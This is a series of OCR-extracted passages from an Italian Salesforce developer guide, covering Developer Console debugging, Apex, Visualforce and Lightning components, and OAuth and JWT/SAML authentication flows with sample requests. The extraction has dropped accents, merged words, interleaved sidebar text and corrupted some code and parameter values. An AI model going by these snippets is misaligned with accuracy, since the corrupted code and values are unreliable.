517. tack Stack esecuzioni e Source Sorgente Se si fa clic sugli elementi della scheda Executed Units Unit eseguite in Execution Overview Panoramica esecuzioni vengono aggiornati i riquadri Execution Log Registro esecuzioni Stack Tree Albero stack Execution Stack Stack esecuzioni e Source Sorgente Stack Tree Albero stack Il riquadro Stack Tree Albero stack contiene tre visualizzazioni che mostrano le informazioni dall alto verso il basso ossia dall avvio delle chiamate al livello successivo il che consente di visualizzare la gerarchia degli elementi in un processo Ad esempio se una classe chiama una seconda classe la seconda classe visualizzata come nodo controllato dalla prima classe L albero delle esecuzioni visualizza ogni operazione Ad esempio se un loop for chiama System debug 8 volte nell albero delle esecuzioni possibile vedere la durata di ogni chiamata Stack Tree pemont Performance tree Unit Duration I _uif common apex deb 53 06 E execute_anonymou 53 00 0 11 0 11 0 11 0 14 L albero delle prestazioni aggrega le operazioni per fornire un idea pi precisa delle prestazioni di un operazione nel suo complesso Utilizzando lo stesso esempio di cui sopra l albero delle prestazioni visualizza la durata totale di ogni chiamata a debug Stack Tree Execution Tree RE Unit Duration a _uifcommon ap 53 06 3 execute_ano 53 00 E debug 1 02 E size 0 54 E add
518. tazione della scheda Salesforce nella propria pagina impostando lt apex page showHeader false gt e Impostare la pagina content Type su un valore diverso da text html ad esempio lt apex page contentType text plain gt Lightning 86 DAON Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition Contact Manager Edition e Developer Edition ANOLON TAAA ON UTENTE Per abilitare la chat per le pagine Visualforce personalizzate e Personalizza applicazione Ottimizzazione di Salesforce con il codice Componenti Lightning Panoramica sul framework Componente Lightning Beta Il framework Componente Lightning un framework dell interfaccia utente per lo sviluppo di app Web dinamiche destinate ai dispositivi mobili e desktop Si tratta di un framework moderno per la creazione di applicazioni di una singola pagina progettate per la crescita Nota i componenti Lightning nelle app indipendenti risorse app sono disponibili a livello generale L integrazione dei componenti Lightning con Salesforce1 presente in un rilascio beta che presenta una qualit pari all istanza di produzione ma con alcune limitazioni Il framework supporta lo sviluppo di componenti multilivello partizionati che collegano il client e il server Utilizza JavaScript dal lato client e Apex dal lato server L uti
519. te Un altro metodo per visualizzare i contenuti delle variabili consiste nell utilizzare i checkpoint che consentono di visualizzare pi dettagli sulle entit presenti nella memoria in un dato momento dell esecuzione Per ulteriori informazioni vedere Impostazione dei checkpoint in Apex Code Execution Overview Panoramica esecuzioni Save Order Ordine di salvataggio Limits Limiti Timeline Tempistica ed Executed Units Unit eseguite Il riquadro Execution Overview Panoramica esecuzioni nella parte inferiore del Log Inspector Registro esecuzioni contiene quattro schede e La scheda Save Order Ordine di salvataggio mostra una cronologia delle azioni DML contraddistinta da diversi colori Per ogni azione DML intrapresa gli elementi dell ordine di salvataggio sono visualizzati come altrettante caselle nella cronologia SaveGider Limits Timeline Executed units Sobject Task Task Per differenziare tra loro gli elementi vengono utilizzati i seguenti colori Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 268 Colore Tipo Rosso Prima del trigger Arancio Dopo il trigger Verde Regola di convalida Blu Regola di assegnazione Viola Regola di flusso di lavoro Per vedere i dettagli di un elemento specifico fare clic sulla casella corrispondente della cronologia La finestra popup visualizza altre informazioni tra cui il link per accedere di
520. te URL https miaIstanzaSalesforce apex nomeNuovaPagina doveilvaloredi miaIstanzaSalesforce il nome host dell istanza di Salesforce ad esempio na3 salesforce com eilvalore di nomeNuovaPagina il valore che si desidera attribuire al campo Nome nella definizione della pagina Ad esempio se si desidera creare la pagina chiamata HelloWorld e l organizzazione usa l istanza na3 salesforce com di Salesforce immettere https na3 salesforce com apex HelloWorld O Nota nomi delle pagine non possono contenere pi di 40 caratteri Poich la pagina non esiste ancora si viene indirizzati a una pagina intermedia dalla quale possibile creare la nuova pagina Fare clic su Create page nomeNuova Pagina per creare la nuova pagina Al valore nomeNuova Pagina specificato nell URL vengono assegnati il nome e l etichetta della pagina Per creare pagine in Imposta 1 Da Imposta immettere Pagine Visualforce nellacasella Ricerca veloce quindi selezionare Pagine Visualforce Fare clic su Nuovo Guida dell utente Componenti Apex Visualforce e Lightning 68 ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versio
521. te a uno dei valori del campo URL di richiamata nella definizione dell applicazione connessa Questo valore deve essere codificato nell URL state qualsiasi stato il consumatore desidera venga rispecchiato dopo l approvazione durante la richiamata Questo parametro facoltativo scope il parametro scope consente di definire pi precisamente ci a cui l applicazione client pu accedere in un organizzazione Salesforce Per i parametri validi vedere Valori del parametro di ambito a pagina 230 display modifica il tipo di visualizzazione della pagina di accesso Questo parametro facoltativo Gli unici valori supportati da Salesforce sono page schermata di autorizzazione a pagina intera Questo il valore predefinito se non viene specificato un altro valore popup finestra di dialogo compatta ottimizzata per le finestre popup dei browser Web pi moderni touchi finestra di dialogo ottimizzata per dispositivi mobili progettata per i moderni smartphone quali Android e iPhone login hint indicare un valore valido per il nome utente con questo parametro per precompilare la pagina di accesso con il nome utente Ad esempio login hint username company com Se un utente ha gi una sessione attiva nel browser il parametro login hint non ha alcun effetto la sessione utente attiva prosegue nonce obbligatorio con l ambito openia per ottenere un token ID utente Il valore restituito nella risposta ed utile per rilevare gli a
522. tecniche sul controllo della cache O Nota questa funzione attiva solo per le organizzazioni in cui sono abilitati i Siti che utilizzano la risorsa statica 7 Fare clic su Salva Avvertenza se si utilizza WinZip installare la versione pi recente Le precedenti versioni di WinZip possono provocare perdite di dati VEDERE ANCHE Visualizzazione e modifica delle risorse statiche Definizione di risorsa statica Ottimizzazione di Salesforce con il codice Visualizzazione e modifica delle risorse statiche Da Imposta immettere Risorse statiche nella casella Ricerca veloce quindi selezionare Risorse statiche e fare clic sul nome di una risorsa per visualizzarne i dettagli compreso il tipo MIME le dimensioni della risorsa in byte la data di creazione e la data dell ultima modifica Dalla pagina dei dettagli possibile effettuare una delle operazioni seguenti Fare clic su Modifica per modificare la risorsa Fare clic su Elimina per eliminare la risorsa Fare clic su Clona per creare una copia della risorsa necessario specificare un nome per la nuova risorsa Fare clic su Dove si utilizza per visualizzare l elenco di tutti i riferimenti alla risorsa statica nell organizzazione VEDERE ANCHE Definizione delle risorse statiche Gestione delle risorse statiche Definizione di risorsa statica Gestione delle risorse statiche Dopo avere creato risorse statiche possibile personalizzarle modificarle ed elimina
523. tente la Console sviluppatore o l intestazione API determinano gli elementi che vengono inclusi nel registro debug Ottimizzazione di Salesforce con il codice Guida dell utente Registri debug 278 O Nota registri debug non contengono transazioni attivate dalla conversione dei lead Ad esempio si supponga che un lead convertito attivi una reg Di seguito sono riportati alcun ola di flusso di lavoro il registro debug non visualizzer l attivazione di questa regola di flusso di lavoro i esempi di casi in cui si utilizzerebbe un registro debug e Uno sviluppatore che crea un applicazione personalizzata pu utilizzare il registro debug per convalidare il comportamento dell applicazione Ad esempio possibile impostare il filtro del registro debug per verificare le chiamate e quindi nel registro debug sualizzare le informazion VI i relative all esito e alla durata di tali chiamate e Un amministratore dell organizzazione pu utilizzare il registro debug per risolvere i problemi quando un utente segnala delle d u fficolt possibile moni ilizzarli per visualizzare i et Limiti dei registri debu orare i registri debug di quell utente mentre essi registrano tutte le fasi della transazione correlata e quindi dettagli di sistema g Per i registri debug esistono i seguenti limiti e Ogni registro debug deve avere dimensioni massime pari a 2 MB Le dimensioni dei registri debug che superan
524. tenti di Mozilla Firefox possono selezionare Salva destinazione come 3 Importare la copia locale del documento WSDL nell ambiente di sviluppo del computer O Nota inoltre possibile selezionare le versioni predefinite di un pacchetto senza scaricare un WSDL nella sezione Impostazioni versione pacchetto Se lo si desidera possibile scaricare un certificato per autenticare le organizzazioni Salesforce Utilizzare il certificato per i messaggi in uscita del flusso di lavoro Il certificato ha lo scopo di accertare che la richiesta provenga da Salesforce non di identificare un utente specifico Se si desidera utilizzare i certificati per garantire connessioni protette utilizzando le altre funzionalit di Salesforce ad esempio le chiamate Apex utilizzare le coppie di certificati e chiavi Salesforce Da Imposta digitare APT nella casella Ricerca veloce selezionare API e nella pagina Scarica WSDL fare clic con il pulsante destro del mouse su Scarica certificato client e salvarlo in una posizione appropriata A questo punto possibile importare il certificato scaricato nel server della propria applicazione e configurare il server in modo che richieda il certificato client VEDERE ANCHE http www salesforce com us developer docs apexcode index htm http Awww salesforce com us developer docs api_meta index htm API da utilizzare Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 140
525. ter Filtro e inserire il testo da includere nell elenco Ad esempio per visualizzare solo i registri debug di un determinato utente applicare un filtro digitando il nome di quell utente II filtro fa distinzione tra maiuscole e minuscole e Per rimuovere tutti i registri dall elenco fare clic su Debug gt Clear Cancella gt Log Panel Riquadro registro e Per impostazione predefinita la scheda Logs Registri viene visualizzata solo quando vengono generati nuovi registri dall utente corrente Per visualizzare tutti i registri debug salvati per l organizzazione inclusi quelli generati di recente creati da altri utenti fare clic su Debug e deselezionare Show My Current Logs Only Mostra solo i registri correnti e Per nascondere automaticamente tutti i registri al successivo aggiornamento della pagina fare clic su Debug e selezionare Auto Hide Logs Nascondi automaticamente registri e Peraprire una copia del registro selezionato come file di testo fare clic su File gt Download Log Scarica registro Il nome predefinito del file apex log e Perevitare che i registri vengano caricati quando si apre la Console sviluppatore accedere a Help Guida gt Preferences Preferenze e impostare Prevent Logs on Load Non caricare registri su true O Nota registri utente vengono configurati dalla pagina Registro debug nell organizzazione Da Imposta immettere Registri debug nella casella Ricerca veloce quindi selezionare Registri debug
526. terna Il metodo Apex che rappresenta l operazione WSDL restituisce la classe interna anzich i singoli elementi VEDERE ANCHE Definizione di classi Apex Monitoraggio dell area di attesa dei processi Apex L area di attesa dei processi Apex elenca tutti i processi Apex inviati all esecuzione Vi sono elencati i processi che hanno terminato l esecuzione e quelli che non sono ancora terminati fra cui e Imetodi Apex con l annotazione future che indica che non sono stati ancora eseguiti Questi processi sono elencati come Futuro nella colonna Tipo di processo e non hanno valori nelle colonne Batch totali o Batch elaborati e Le classi Apex che implementano l interfaccia Inseribile in area di attesa e che non sono ancora state eseguite Questi processi sono elencati come Futuro nella colonna Tipo di processo e non hanno valori nelle colonne Batch totali o Batch elaborati e processi batch Apex pianificati che non hanno ancora terminato l esecuzione Questi processi sono elencati come Apex pianificato nella colonna Tipo di processo e non hanno valori nelle colonne Batch totali o Batch elaborati processi pianificati non possono essere interrotti da questa pagina utilizzare la pagina Processi pianificati per gestire o eliminare i processi pianificati D7 OX Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Dev
527. terprise Edition Performance Edition Unlimited Edition e Developer Edition possibile creare componenti Lightning utilizzando l interfaccia utente nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition o un Sandbox Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 89 Aggiunta di componenti Lightning a Salesforce possibile rendere i propri componenti Lightning disponibili agli utenti di Salesforce1 EDIZIONI Nel componente che si desidera aggiungere includere implements force appHostable neltag aura component esalvare le modifiche Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile per l uso nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition possibile creare componenti Lightning utilizzando l interfaccia utente nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition o un Sandbox YANG IO NPZZAVA O N UTENTE Per creare le Schede Componente Lightning e Personalizza applicazione lt aura component implements force appHostable gt L interfaccia appHostable rende il componente disponibile come scheda personalizzata Utilizzare la Console sviluppatore per creare i componenti Lightning Per includere i componenti nel men
528. ti trigger vengono memorizzati come metadati in Salesforce Un elenco di tutti i trigger dell organizzazione disponibile nella pagina Trigger Apex in Imposta Vedere Gestione dei trigger Apex a pagina 57 Apex in genere viene eseguito nel contesto di sistema ovvero le autorizzazioni dell utente corrente la protezione a livello di campo e le regole di condivisione non vengono prese in considerazione durante l esecuzione del codice necessario che almeno il 75 del proprio Apex sia coperto dai test di unit per distribuire il codice agli ambienti di produzione Inoltre tutti i trigger devono avere almeno alcune coperture di test Vedere Informazioni sui test di unit Apex a pagina 296 Dopo avere creato classi e trigger nonch i test riprodurre l esecuzione utilizzando la Console sviluppatore O Nota possibile aggiungere modificare o eliminare Apex tramite l interfaccia utente di Salesforce solo in un organizzazione Developer Edition in un organizzazione di prova Enterprise Edition di Salesforce o in un organizzazione Sandbox In un organizzazione di produzione Salesforce possibile apportare modifiche all Apex solo utilizzando la chiamata deploy dell API metadati Force com IDE o lo strumento di migrazione Force com Force com IDE e lo strumento di migrazione Force com sono risorse gratuite fornite da Salesforce a supporto dei propri utenti e partner ma non sono considerati parte dei Servizi ai fini dell Accordo Quadro di Sotto
529. ticazione di un organizzazione Non necessario avviare una sessione La pagina disponibile solo per le comunit o i domini personalizzati Salesforce Utilizzare questo URL quando si sviluppano app a cui occorrono queste informazioni su richiesta Disponibile nelle versioni Salesforce Classic Disponibile in tutte le In risposta a una richiesta all endpoint configurazione autenticazione Salesforce restituisce versioni informazioni di base in formato JSON Tali informazioni includono le impostazioni di autenticazione e registrazione gli asset dell immagine aziendale e altri valori relativi al supporto per Single Sign On per gli utenti di una comunit o di un dominio personalizzato Il formato dell URL https lt comunit o URL personalizzato gt well known auth configuration Per esempio https acme my salesforce com well known auth configuration Risposta dell endpoint configurazione autenticazione L endpoint configurazione autenticazione restituisce le informazioni esclusivamente in formato JSON Di seguito riprodotto un esempio di risposta O Nota Il valore UseNativeBrowserForAuthentication sempre false per una comunit valori che seguono sono disponibili solo per le comunit e sono false o nulli per i domini personalizzati creati con Dominio personale e SelfRegistrationEnabled e SelfRegistrationUrl DefaultProfileForRegistration Ottimizzazione di Salesforce con il codice Guida dell ute
530. tifica stata inviata almeno quattro ore prima Quindi in un periodo di 24 ore vengono inviate al massimo sei notifiche V isualizzare la percentuale del limite che se superata attiva l invio di una notifica Ad esempio se l organizzazione ha un limite di 1 000 000 richieste e si impostano una percentuale di soglia di 60 il 60 e un intervallo di notifica di 24 ore l utente specificato riceve una notifica quando nell arco di 24 ore vengono inviate 600 000 richieste API e Visualizzare il nome dell utente che ha creato la notifica e la data di creazione della stessa nonch la data dell ultima modifica della notifica e il nome dell utente che ha apportato la modifica Per creare una nuova notifica fare clic su Nuovo possibile creare fino a dieci notifiche per organizzazione VEDERE ANCHE Visualizzazione delle notifiche di utilizzo API Creazione e modifica di notifiche di utilizzo API DAON Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition ANOILONTZAVA ON UTENTE Per visualizzare creare modificare o eliminare notifiche e API abilitata Ottimizzazione di Salesforce con il codice Visualizzazione delle notifiche di utilizzo API Nella pagina dei dettagli delle notifiche di utilizzo API possibile visualizzare le informazioni relative a una
531. tilizzare lo strumento di pianificazione Apex se si dispone di classi Apex specifiche che si desidera ID P4 0 N eseguire regolarmente o per eseguire un processo batch Apex utilizzando l interfaccia utente Salesforce Lo strumento di pianificazione viene eseguito come un sistema tutte le classi vengono eseguite che l utente disponga dell autorizzazione a eseguire la classe o meno O Importante Salesforce pianifica l esecuzione delle classi all orario specificato L effettiva esecuzione potrebbe avvenire pi tardi a seconda della disponibilit del servizio Per pianificare i processi mediante lo strumento di pianificazione Apex 1 Implementare l interfaccia Pianificabile in una classe Apex che istanzia la classe che si desidera eseguire 2 Dalmposta immettere Classi Apex nellacasella Ricerca veloce selezionare Classi Apex e fare clic su Pianifica Apex Specificare il nome della classe che si desidera pianificare 4 Indicare la frequenza di esecuzione richiesta per la classe Apex Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition e Sesi seleziona Settimanale specificare in quale giorno o in quali giorni della settimana dovr essere eseguito il processo ad esempio Luned e Mercoled e Sesi seleziona Mensile specificare in quale data o in quale giorno
532. tionLinkTemplateBindingInput bindingInput new ConnectApi ActionLinkTemplateBindingInput bindingInput key key bindingInput value bindingMap get key bindingInputs add bindingInput Define the action link group definition ConnectApi ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput new ConnectApi ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput templateId 07gD00000004C9r actionLinkGroupDefinitionInput templateBindings bindingInputs Instantiate the action link group definition ConnectApi ActionLinkGroupDefinition actionLinkGroupDefinition Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 149 ConnectApi ActionLinks createActionLinkGroupDefinition Network getNetworkId actionLinkGroupDefinitionInput Q Suggerimento possibile utilizzare pi volte la stessa variabile di binding nei modelli di link azioni e fornire il valore solo una volta durante l istanziazione Ad esempio possibile utilizzare due volte Bindings MyBinding nel campo Corpo richiesta HTTP diun modello di link azioni e nuovamente nel campo Intestazioni HTTP diun altro modello di link azioni all interno dello stesso modello di gruppo dei link azioni e al momento dell istanziazione di un gruppo dei link azioni dal modello sar necessario fornire soltanto un valore per tale variabile condivisa Impostazione degli utenti che possono visualizzare il li
533. tito non pu leggere i record protetti e Lo sviluppatore pu modificare i record protetti solo eseguendo un aggiornamento del pacchetto L abbonato non pu leggere n modificare i record protetti Il nome dello sviluppatore di un record protetto non pu essere modificato dopo il rilascio Un record di metadati personalizzati protetto creato nell organizzazione sar accessibile solo dal proprio codice dal codice di pacchetti non gestiti e dal codice del pacchetto gestito che definisce il suo tipo Anche i tipi di metadati personalizzati possono essere protetti e la protezione dall accesso identica a quella dei record protetti Se si trasforma un tipo protetto in pubblico i suoi record protetti restano tali e tutti gli altri record diventano pubblici Se si utilizza Imposta per creare un nuovo record su un tipo protetto la casella di controllo Componente protetto selezionata per impostazione predefinita Un tipo pubblico non pu essere convertito in protetto L abbonato non pu creare record di un tipo protetto Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 249 La documentazione dei tipi di metadati personalizzati fa riferimento a un applicazione d esempio e a tre societ fittizie e Picklists R Us sviluppa ottimizzazioni riutilizzabili per la piattaforma Salesforce1 che includono una funzionalit correlata agli elenchi di selezione e TravelApp Inc sviluppa un
534. tivo alle applicazioni connesse dell organizzazione e possibile abilitare il provisioning utente per un applicazione connessa in questa pagina Dopo l abilitazione utilizzare la Procedura guidata provisioning utente per configurare o aggiornare le impostazioni di provisioning utente Dopo aver eseguito la Procedura guidata provisioning utente la sezione Account utente consente di gestire individualmente il collegamento tra gli account utente e le relative impostazioni account nel sistema di terze parti e Fare clic su Gestisci profili per selezionare i profili per l applicazione dalla pagina Assegnazione profilo applicazione Selezionare i profili che avranno accesso all applicazione tranne nella versione Group Edition O Importante Questa opzione non sar visualizzata se il criterio OAuth per gli Utenti con autorizzazioni impostato su Tutti gli utenti possono autorizzarsi autonomamente in quanto l opzione non necessaria se gli utenti possono autorizzarsi autonomamente Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 181 e Fare clic su Gestisci insiemi di autorizzazioni per selezionare gli insiemi di autorizzazioni dei profili per questa applicazione dalla pagina Assegnazione dell insieme di autorizzazioni per l applicazione Selezionare gli insiemi di autorizzazioni che avranno accesso all applicazione O Importante Questa opzione non sar visualizzata se il criterio
535. to la colonna Stack Trace Traccia dello stack indica il metodo e il numero di riga su cui il test si bloccato O Nota non possibile accedere ai registri per le serie di test sincroni nella scheda Tests Test Tuttavia possibile accedere a tutti i registri delle serie di test nella scheda Logs Registri 6 Selezionare un metodo di test per visualizzare la sua copertura per ogni classe nel riquadro Class Code Coverage Copertura codice classe Ottimizzazione di Salesforce con il codice Guida dell utente Distribuisci 305 7 Percancellare i risultati correnti fare clic su Test gt Clear Test Data Cancella dati del test VEDERE ANCHE Esecuzione di test nella Console sviluppatore Verifica della copertura codice Distribuisci Questa sezione contiene le informazioni sulla distribuzione delle modifiche codificate nella propria organizzazione Le modifiche di codice dovrebbero essere effettuate in un Sandbox in modo che possano essere testate prima della distribuzione Sandbox contengono copie dei dati di codice e delle impostazioni di configurazione isolate dall ambiente di produzione possibile personalizzare la propria organizzazione e testare le applicazioni in un Sandbox e quando si pronti distribuire le modifiche all organizzazione di produzione In alcuni casi potrebbero esserci pi sviluppatori al lavoro in Sandbox diversi che in seguito coordinano tali modifiche per la distribuzione Queste sezioni conte
536. to contengono istruzioni pi dettagliate sulla procedura di accesso per gli sviluppatori che utilizzano un applicazione connessa per richiedere dei dati Salesforce 1 Il consumatore reindirizza l utente al seguente percorso dove gli viene richiesto di eseguire l accesso https login salesforce com setup secur RemoteAccessAuthorizationPage apexp A questo URL vengono aggiunti i parametri di query GET appropriati e oauth tokeniil token di richiesta e oauth consumer key O Nota il parametro oauth_callback se incluso viene ignorato 2 Viene visualizzata la pagina Autorizzazione accesso remoto 3 Se l utente approva l accesso per il consumatore Salesforce genera il token di accesso e il segreto del token di accesso O Nota Il numero di token di accesso simultanei che possono essere concessi da un utente a un applicazione limitato Il limite predefinito cinque applicazioni per utente Se questa autorizzazione supera il limite per l organizzazione l utente viene informato che l autorizzazione revoca automaticamente uno o pi token per l applicazione che non stata utilizzata per il periodo pi lungo 4 Salesforce verifica l URL di richiamata specificato nelle pagine di definizione dell applicazione connessa o nel parametro oauth callback della fase precedente Si verifica uno dei reindirizzamenti seguenti e Seilvalore oauth_callback definito nel token di richiesta oob e il campo URL di richiamata nella pagina di defi
537. tore dalla definizione dell applicazione connessa e username nome utente dell utente finale e password password dell utente finale O Nota quando si utilizza il flusso nome utente password con l API assicurarsi di creare un campo nella schermata di accesso con nome utente e password dove gli utenti possano inserire il proprio token di protezione Il token di protezione una chiave generata automaticamente che necessario aggiungere alla fine della propria password per poter accedere a Salesforce da una rete non affidabile necessario concatenare la loro password e il loro token quando si passa la richiesta di autenticazione Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 224 e format formato restituito previsto Questo parametro facoltativo Il valore predefinito j son I valori sono urlencoded json xml Di seguito viene riportato un esempio del corpo del POST out of band grant type password amp client id 3MVG91KcPoNINVBIPJjdw1J9LLM82Hn FVVX19KYluA5mu0QgEWhgKpoW3svG3XHrXDiCQjKlmdgAvhCscA9GE amp client secret 1955279925675241571l amp username testusert40salesforce com amp password mypassword Invio della risposta Dopo che la richiesta stata verificata Salesforce invia una risposta al client seguenti parametri si trovano nel corpo della risposta e access token D sessione Salesforce che pu essere utilizzato con l API servizi Web e token type
538. tps test salesforce com e Recipient deveessere https login salesforce com services oauth2 token 0 https test salesforce com services oauth2 token e Subject NameID deve essere il nome utente dell utente Salesforce desiderato e L asserzione deve essere firmata in base alla specifica XML Signature utilizzando RSA e SHA 1 o SHA 256 e L asserzione SAML deve essere conforme alle regole di formato generali specificate qui http tools ietf org html draft ietf oauth saml2 bearer e Quando viene inviata mediante il metodo POST all endpoint del token l asserzione deve essere codificata utilizzando la codifica base64url come definito qui http tools ietf org html rfc4648 page 7 Di seguito riportato un esempio di asserzione lt xml version 1 0 encoding UTF 8 gt lt saml Assertion xmlns saml urn coasis names tc SAML 2 0 assertion ID _cd3649b3639560458bc9d9b33dfee8d21378409114655 IssueInstant 2013 09 05T19 25 14 654Z Version 2 0 gt lt saml Issuer Format urn casis names tc SAML 2 0 nameid format entity xmlns saml urn oasis names tc SAML 2 0 assertion gt 3MVG9PhR6g6B7ps4500RvhVGGMmR_DT4kxXzVX0o6TTHF3001nmg0AstC92 4qgSUiUeEDcuGVAtmAxyo V8j lt saml Issuer gt lt ds Signature xmlns ds http www w3 0rg 2000 09 xmldsig gt lt ds SignedInfo gt lt ds CanonicalizationMethod Algorithm http www w3 0rg 2001 10 xml exc c14n gt lt ds SignatureMethod Algorithm http www w3 0rg 2001 04 xmldsig more rsa sha256
539. tringa risultante utilizzando SHA256 con RSA 7 Creare una nuova stringa della stringa di questa fase nel seguente formato existing string base64 encoded signature Nel seguente esempio evidenziato l inizio della firma codificata con base64 eyJhbGci0iJSUZIINIJ9 eyUpc3Mi0iAiM01WRZK5T3hUeUVNO1EzZ05wM1Bga3F1Wkt4bm lBaUcxeFY0b0hoOUFLTF9yU0su Om9ITVIBHWkhRdWtYb1ZqelJnUsvReUduNzVOTDd5ZmtRY315NyIsICJwcm4i0iAibX1AZWIhaWwu Y29tIiwgImF1ZCI6ICJodHRwczovL2xvZ2luLnNhbGVzZm9yY2UuY29tIiwgImV4cCI6ICIxMZMz Njg1NjI4In0 iYCthqWCQucwi35yFs nWNgpF5NA _a46fXDTNIY8ACko6BaEtQ9E6h4Hn11 pcwcK I Glm fUO02dJDg1A610t09TeoPagJsZDm H83bsoZUoI8LpAA1s 2aj Wbysqblj4uDToz 480WtEbkwIv09sIeS QuWak2RX011Krnf72mpVGS4WWSULodgNz1KHHyjAMAHiBHIDNt 36y2L2Bh7M8TNWiKa BNM6s1FNKDAwHEWOrNtAeReXgRy0MZg0Y2rZtqT2FcDyjY3JVOb En _CSjH2WV7Z1UwsKHqGfI7hzeEvVdf0jH9NuaJozxvhPF489IgWecntPuT2V647JWi7ng Il codice Java seguente costituisce un esempio semplice di costruzione di un token bearer JWT import org apache commons codec binary Base64 import java io import java security import java text MessageFormat public class JWTExample public static void main String args String header alg RS256 String claimTemplate iss 0 sub exp NUTI per try StringBuffer token new StringBuffer 1 aud 2 Ottimizzazione di Salesforce con il codice Guida dell utent
540. trol consente di memorizzare e caricare contenuti per l utilizzo in molte aree di Salesforce quali link personalizzati schede Web pulsanti personalizzati e cruscotti digitali Gli S Control offrono un metodo flessibile di estensione dell interfaccia utente di Salesforce inclusa la possibilit di creare e visualizzare i propri moduli di dati personalizzati Un S Control pu contenere qualsiasi tipo di contenuto visualizzabile o eseguibile in un browser ad esempio un applet Java un controllo Active X un file di Excel o un modulo Web HTML personalizzato 1 DaImposta digitare S Contro1 nella casella Ricerca veloce e quindi selezionare S Control Per creare un nuovo Custom S Control fare clic su Nuovo Custom S Control Per modificare un S Control personalizzato esistente fare clic su Modifica Inserire gli attributi dell S Control Per verificare tutti i campi di unione e le funzioni di Salesforce fare clic su Controlla sintassi SU N Al termine dell operazione fare clic su Salva o su Salvataggio rapido per salvare e proseguire nella modifica Lightning 123 DAON Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition TANGO NPZZAVA O N UTENTE Per creare modificare ed eliminare Custom S Control e Personalizza applicazione 7 Cr
541. ttacchi ripetuti prompt specifica in che modo il server di autorizzazione richiede la riautenticazione e la riapprovazione all utente Questo parametro facoltativo Gli unici valori supportati da Salesforce sono loginiil server di autorizzazione deve richiedere all utente di eseguire nuovamente l autenticazione costringendolo a ripetere l accesso consent l server di autorizzazione deve richiedere nuovamente l approvazione all utente prima di restituire le informazioni al client consentito specificare entrambi i valori separati da uno spazio per richiedere all utente di effettuare l accesso e fornire una nuova autorizzazione Ad esempio Pprompt logins20consent Di seguito ripor ato un UR L di esempio a cui l utente viene indirizzato https login salesforce com services oauth2 authorize response type token amp client id 3 ZrXcPCmBv4o VG91Kc state mysta Le PONINVBIPJjdw1J9LLJbP _pqwoJYyuisjQhr LLurNDv7AgQOvDTZwCoZuD 8ds 5iE amp redirect uri https 3A 2F52Fwww mysite com s2Fuser callback jsp amp L utente approva l accesso e il client riceve la richiamata da Salesforce All utente viene chiesto di accedere a Salesforce se non ha gi eseguito l accesso Quindi Salesforce visualizza una pagina di approvazione nella quale viene chiesto all utente di approvare l accesso all applicazione Se l utente approva l accesso viene reindirizzato all URI specificato in redirect uri coni seguent
542. ttagli utente avanzati Se non si ottiene alcun risultato immettere Informazioni personali nella casella Ricerca veloce quindi selezionare Informazioni personali 2 Nella sezione Applicazioni connesse OAuth possibile e Visualizzare le informazioni su ogni applicazione a cui si concesso l accesso oltre al numero di volte e all ultima volta che l applicazione ha tentato di accedere alle informazioni O Nota un applicazione pu essere elencata pi di una volta Ogni volta che si concede l accesso a un applicazione essa ottiene un nuovo token di accesso Le richieste di token di aggiornamento incrementano il Conteggio utilizzi visualizzato per l applicazione necessario concedere l accesso ai propri dati Salesforce da ogni dispositivo che si utilizza ad esempio sia da un computer portatile che da un computer desktop Il limite predefinito cinque token di accesso per ogni applicazione Le applicazioni pi recenti che utilizzano il protocollo OAuth 2 0 vengono automaticamente approvate per ulteriori dispositivi dopo che l utente ha concesso l accesso una volta Le applicazioni OAuth 2 0 possono essere indicate pi di una volta Ogni riga della tabella rappresenta un unica concessione quindi se un applicazione richiede pi token con ambiti diversi la stessa applicazione apparir pi volte Anche se l applicazione connessa ha tentato di accedere alle informazioni senza riuscirvi perch non ha potuto effettuare l acce
543. tto al numero totale di batch inviati L avanzamento non visualizzato quando il processo aperto perch il numero totale di batch del processo non noto fino alla conclusione del processo L avanzamento pu non rispecchiare in modo preciso il numero di record elaborati possibile che non utti i batch contengano lo stesso numero di record e che siano elaborati a velocit diverse numero di record gi elaborati che aumenta via via che vengono elaborati altri batch La data e l ora in cui stato inviato il processo Lo stato di elaborazione attuale del processo valori validi sono e Open l processo stato creato ed possibile aggiungervi dei batch e Closed Non possibile aggiungere nuovi batch al processo batch associati al processo possono essere elaborati una volta chiuso il processo processi chiusi non si possono n modificare n salvare e Aborted ll processo stato interrotto e Failed ll processo non riuscito batch del processo elaborati correttamente non possono essere ritirati Il nome dell utente che ha inviato il processo L elenco dei processi completati contiene le colonne seguenti riportate in ordine alfabetico processi completati vengono rimossi dall elenco sette giorni dopo il completamento Colonna Ora finale ID processo Oggetto Operazione Record elaborati Ora iniziale Descrizione La data e l ora in cui stato completato il processo L ID univoco di
